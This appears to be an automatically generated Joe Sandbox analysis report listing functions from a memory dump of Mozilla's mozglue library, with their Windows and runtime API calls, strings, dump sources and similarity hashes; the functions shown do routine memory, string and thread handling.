memset.VCRUNTIME140(?,00000000,?,?,6C60BE49), ref: 6C60BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C60BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C60BE49), ref: 6C60BF38
RtlReAllocateHeap.NTDLL ref: 6C60BF83
RtlFreeHeap.NTDLL(6C60BE49,00000000), ref: 6C60BFA6

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 0bc3f7afbeb5b46df42425df507de119598400cf998ed7dcacb9eaaf28e6282d
Instruction ID: aa62fd6b6df0c29ddb4edfcd6b88aeb2f0c78a734e05832788f608522ca5a7d4
Opcode Fuzzy Hash: 0bc3f7afbeb5b46df42425df507de119598400cf998ed7dcacb9eaaf28e6282d
Instruction Fuzzy Hash: 6B519171B002058FE718CF69CE80BAAB7A6FFC5314F298639D516A7B54D730F9068B94

Function 6C5F8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8EBF
free.MOZGLUE(?,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8F46
free.MOZGLUE(?,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F8F

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 66e5875086ec4ed15332b0a4b85bb7aa4699b36b73c9d332b8a2c9ce6a595305
Instruction ID: 707bab24a3142175ac47226a82a74f39eeb8935633965fed151c006ef1f30dc7
Opcode Fuzzy Hash: 66e5875086ec4ed15332b0a4b85bb7aa4699b36b73c9d332b8a2c9ce6a595305
Instruction Fuzzy Hash: A25170B1A016168FEB18CF95DC8066EB3B2EF46318F15056AD526AB740E731F906CF92

Function 6C5F27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F289A
free.MOZGLUE(?,?,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F2910
free.MOZGLUE(00000001,?,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F294E

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 39b6e0d21959ac167e5e3317abc02efbb818fc20b63dd661400bcb23b5c6e287
Instruction ID: bf0f97ffe9af2523b645ed8506169aaf78dee140e16a178df6ecb71f315f4a7b
Opcode Fuzzy Hash: 39b6e0d21959ac167e5e3317abc02efbb818fc20b63dd661400bcb23b5c6e287
Instruction Fuzzy Hash: 7941CEF1A002468BEB18CF68DC8436A77F6AB45308F244929D566EB740E731E946CF92

Function 6C5ACFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5ACFF6
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5AD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C5AD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C5AD139

Strings

MOZ_CRASH(), xrefs: 6C5AD187

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: fb1ffff83bfbbcc5f712bc33c2c299924607b696e3d303a1ba67092d246f8d28
Instruction ID: 369405952f0bc1f4f4d222e6460ad6f6a41bac1ebe5f3cc108a06a2e287e30c3
Opcode Fuzzy Hash: fb1ffff83bfbbcc5f712bc33c2c299924607b696e3d303a1ba67092d246f8d28
Instruction Fuzzy Hash: 7241AE31B402168FDB04DEBE8CD03AE76A4EB49750F140139EE58E7784E7A998018BC9

Function 6C5A4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5A4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5A4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5A4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C5A4F1E

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: ef70baefcd1f4a79c3cf146ffaf1c455e5738f363828de04a5c09904f4d6ad2a
Instruction ID: 8db71d70037b96a812adfac1e322eb98cf1e01d7fdad1c259b9b80c8434714b1
Opcode Fuzzy Hash: ef70baefcd1f4a79c3cf146ffaf1c455e5738f363828de04a5c09904f4d6ad2a
Instruction Fuzzy Hash: CC41AE716087419FC705CFAAC88095FBBE4BF89344F109A2DF56687741DB30E95ACB92

Function 6C60A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62F770), ref: 6C60A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60A87B

Part of subcall function 6C60A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C60A88F,00000000), ref: 6C60A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C60A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60A90C
LeaveCriticalSection.KERNEL32(6C62F770), ref: 6C60A97E

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 82e28331352b0734d5f40718667da04247821cb7637916a37d30a54ab5b82e22
Instruction ID: e8bf8b976c3cfef6700ccf7d4327f7eafff02a508b5e6acea714a64f3b2707c6
Opcode Fuzzy Hash: 82e28331352b0734d5f40718667da04247821cb7637916a37d30a54ab5b82e22
Instruction Fuzzy Hash: B241B2B0E006049FDB04DFA8D885BDEB770FF05324F108629E826AB791D7359945CB99

Function 6C5B1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B15E7
free.MOZGLUE(?,?,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B1637

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: ae8c1c4aa4f5627fe729d6284e938991e374b3ced65b88ce2a870019a4f529a7
Instruction ID: 298714f61dcaf8340d150e5108cb3734292ae8fdebc9c09be1bbae8ce9459ab0
Opcode Fuzzy Hash: ae8c1c4aa4f5627fe729d6284e938991e374b3ced65b88ce2a870019a4f529a7
Instruction Fuzzy Hash: 5E31D872A001159BCB58CE78DD6146F7BA9FB863647340B2DE423EBBD4EB30D9148791

Function 6C60AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AD9D

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE01
GetLastError.KERNEL32(?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE3D

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: bd90c4d9d40508a33d2fa221abd3e9182c25b2d8f9c6cc278f2466702305c998
Instruction ID: 980a8026e768077b496859377dbc78bdc61d82841d51bbf210238037fef54601
Opcode Fuzzy Hash: bd90c4d9d40508a33d2fa221abd3e9182c25b2d8f9c6cc278f2466702305c998
Instruction Fuzzy Hash: 563182B1A002159FDB14DF798D44AABB7F8EF49660F15483DE84AE7701E734E805CBA8

Function 6C605EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C61DCA0,?,?,?,6C5DE8B5,00000000), ref: 6C605F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5DE8B5,00000000), ref: 6C605F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C5DE8B5,00000000), ref: 6C605F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C5DE8B5,00000000), ref: 6C605F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5DE8B5,00000000), ref: 6C605FD6

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 4b5bf40d485bf47f4959bba8888fca314022499af2c53ea598304a17b11d3352
Instruction ID: bd21ee4c3a6a53e2151ce225b4ff387fd91c1c58f84c8595c3fa1cb1b9adebc2
Opcode Fuzzy Hash: 4b5bf40d485bf47f4959bba8888fca314022499af2c53ea598304a17b11d3352
Instruction Fuzzy Hash: F03117343006008FD714CF29C998A6ABBE5EF89318BA48958E5569B795CB39EC41CA88

Function 6C5AB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C5AB532
moz_xmalloc.MOZGLUE(?), ref: 6C5AB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5AB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C5AB57E
free.MOZGLUE(00000000), ref: 6C5AB58F

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 26c82cff55d224b855ead318601609220217c564d308f83e716aea7e01c42299
Instruction ID: 615f74b9e40e044e93b2782b79110fad6349ce3f82877c2fe91aebbf32c33f63
Opcode Fuzzy Hash: 26c82cff55d224b855ead318601609220217c564d308f83e716aea7e01c42299
Instruction Fuzzy Hash: D521DB71A001099BDB00DFA6CC40B6EBBB9FF86314F244129E914D7341F775D916C7A1

Function 6C5AB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C5AB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5AB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5AB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5AB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5AB849

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 5ccb9ff3876c7f6ddb087c4fd14673c0d5e78a09ecef7dcf192a0791c86f6b93
Instruction ID: 44f6ea9aa3b6b0ed744e977f3b043ce96f4f9c6e6e11de465efe0d2389698f9c
Opcode Fuzzy Hash: 5ccb9ff3876c7f6ddb087c4fd14673c0d5e78a09ecef7dcf192a0791c86f6b93
Instruction Fuzzy Hash: 7B212BB0E002099FDF04DFAAC8855BEBBB4EF49214F148129E946A7341E735A945CBE5

Function 6C606E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C606E78

Part of subcall function 6C606A10: InitializeCriticalSection.KERNEL32(6C62F618), ref: 6C606A68
Part of subcall function 6C606A10: GetCurrentProcess.KERNEL32 ref: 6C606A7D
Part of subcall function 6C606A10: GetCurrentProcess.KERNEL32 ref: 6C606AA1
Part of subcall function 6C606A10: EnterCriticalSection.KERNEL32(6C62F618), ref: 6C606AAE
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C606AE1
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C606B15
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C606B65
Part of subcall function 6C606A10: LeaveCriticalSection.KERNEL32(6C62F618,?,?), ref: 6C606B83

MozFormatCodeAddress.MOZGLUE ref: 6C606EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C606EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C606EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C606EFF

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 50d98cac459cfccf3c67f7a526e0e3f1d5ce9d81a6d58c0ffebf5efd701370ed
Instruction ID: 2960a748ebed22b2b26b84daa4be406dcfcf13ce8fc13f28adfc13edaaf1d4e0
Opcode Fuzzy Hash: 50d98cac459cfccf3c67f7a526e0e3f1d5ce9d81a6d58c0ffebf5efd701370ed
Instruction Fuzzy Hash: 1921B0B1A0421A8FCB14CF29D9C569E77F5EF84308F044039E809A7240EB349A998F96

Function 6C5E0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C5A3DEF), ref: 6C5E0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C5A3DEF), ref: 6C5E0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C5A3DEF), ref: 6C5E0DAF

Strings

<jemalloc>, xrefs: 6C5E0D92, 6C5E0DB9
: (malloc) Error in VirtualFree(), xrefs: 6C5E0D97, 6C5E0DBE

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 9897a67e32c292d9dd0389f8ff36613e324f03738bcd7d909ac20c2941b742be
Instruction ID: de3898b8ffebf8e652b2d2dd900d6d85fb15fefb494ee03f35de1a3f3ea6d7ad
Opcode Fuzzy Hash: 9897a67e32c292d9dd0389f8ff36613e324f03738bcd7d909ac20c2941b742be
Instruction Fuzzy Hash: 0BF0893178439423E72016665D0AB6A266DE7C6B65F344037F205DADC4DF98E800ABAD

Function 6C605850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C60586C
CloseHandle.KERNEL32 ref: 6C605878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C605898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6058C9
free.MOZGLUE(00000000), ref: 6C6058D3

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: f00e64a3e1a27758e7b5555604610bb5e99ec19e1add245ea34d7eec78d3cae8
Instruction ID: a91781077a846e528fc7ac4c51e302180126b6901843f745e1d058c11bf6d16c
Opcode Fuzzy Hash: f00e64a3e1a27758e7b5555604610bb5e99ec19e1add245ea34d7eec78d3cae8
Instruction Fuzzy Hash: CB014F717041219BDF00DF17D9886467BB8FBA3329F244276E91AF2210D73998158F8F

Function 6C5F7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5F75C4,?), ref: 6C5F762B

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7644
GetCurrentThreadId.KERNEL32 ref: 6C5F765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7677

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ac16d4d0d6f9beeaa3fbb56f12024aa09f9e55a9f530c3f4243e569b2ec277cb
Instruction ID: 1c75419332ee999be94102c42528ea51201a85dfbaf45b127cfcdbc58560bc9d
Opcode Fuzzy Hash: ac16d4d0d6f9beeaa3fbb56f12024aa09f9e55a9f530c3f4243e569b2ec277cb
Instruction Fuzzy Hash: B3F0C271E10745ABD7008F22C888676B778FFEB299F214316F94553601E7B4B5D18BD1

Function 6C601700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C601800

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

